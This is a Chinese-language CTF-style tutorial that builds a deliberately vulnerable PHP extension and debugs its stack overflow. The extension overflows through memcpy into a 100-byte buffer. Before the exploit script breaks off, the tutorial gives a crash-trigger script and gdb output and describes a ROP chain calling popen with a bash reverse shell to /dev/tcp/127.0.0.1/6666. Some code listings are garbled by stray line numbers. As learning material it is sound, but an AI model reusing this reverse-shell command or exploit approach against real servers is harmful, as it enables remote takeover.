Phppwn浅浅探
环境搭建
参考链接写的蛮详细了,略去这部分
其中源码的下载我用的是`wget https://www.php.net/distributions/php-7.2.24.tar.gz
测试
写的函数1
2
3
4
5
6
7
8
9
10
11
12PHP_FUNCTION(easy_phppwn)
{
char *arg = NULL;
size_t arg_len, len;
char buf[100];
if(zend_parse_parameters(ZEND_NUM_ARGS(), "s", &arg, &arg_len) == FAILURE){
return;
}
memcpy(buf, arg, arg_len);
php_printf("phppwn extension function\n");
return SUCCESS;
}
zend_parse_parameters是zend引擎解析我们使用php调用该函数时传入的字符串,s代表以字符串形式解析,&arg是参数的地址,&n是解析后参数的长度
调用函数
1 |
|
漏洞调试
不难发现我们编写的函数中,当arg_len长度大于100时会发生栈溢出
首先尝试触发漏洞造成crash1
2
3
easy_phppwn(str_pad("",0x100,"A"))
或者用脚本生成php文件1
2
3
4
5
6
7
8
9
10
11
12
13from pwn import *
def create_php(buf):
with open("pwn.php", 'w+') as pf:
pf.write('''<?php
easy_phppwn(urldecode("%s"));
?>'''%urlencode(buf))
buf = 'a'*0x80
buf += 'b'*0x10
create_php(buf)
1 | ayoung@ubuntu:~/pwn/php$ gdb php |
然后ctrl Cvmmap可以看到php加载了easy_phppwn1
2
3
4
5
6vmmap easy_phppwn
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7ffff2aa9000 0x7ffff2aaa000 r-xp 1000 0 /usr/lib/php/20170718/easy_phppwn.so
0x7ffff2aaa000 0x7ffff2caa000 ---p 200000 1000 /usr/lib/php/20170718/easy_phppwn.so
0x7ffff2caa000 0x7ffff2cab000 r--p 1000 1000 /usr/lib/php/20170718/easy_phppwn.so
0x7ffff2cab000 0x7ffff2cac000 rw-p 1000 2000 /usr/lib/php/20170718/easy_phppwn.so
在IDA中可以看到so文件中显示的真正的函数名为zif_easy_phppwn
下断点,并设置参数为php文件1
2
3
4b zif_easy_phppwn
Breakpoint 1 at 0x7ffff2aa9cc0: file /home/ayoung/pwn/php/php-7.2.24/ext/easy_phppwn/easy_phppwn.c, line 145.
set args ./pwn.php
run
看到断下来了
在memcpy处,看到程序将我们输入的字符串赋值到栈上了,且返回地址被覆盖,因此能够布置rop链进行利用
漏洞利用
对于phppwn题目来说,(听说)基本没法用one_gadget,system("/bin/sh")来获取交互式shell。这里使用popenv来开启一个反弹shell到vps上
这里由于比较注重获得shell的部分,就假设已知libc地址,将地址随机化关闭
rop执行popen("/bin/bash -c \"/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1\"", "r")弹shell
1 | from pwn import * |
顺便直接执行貌似没法弹shell,开gdb执行就正常了













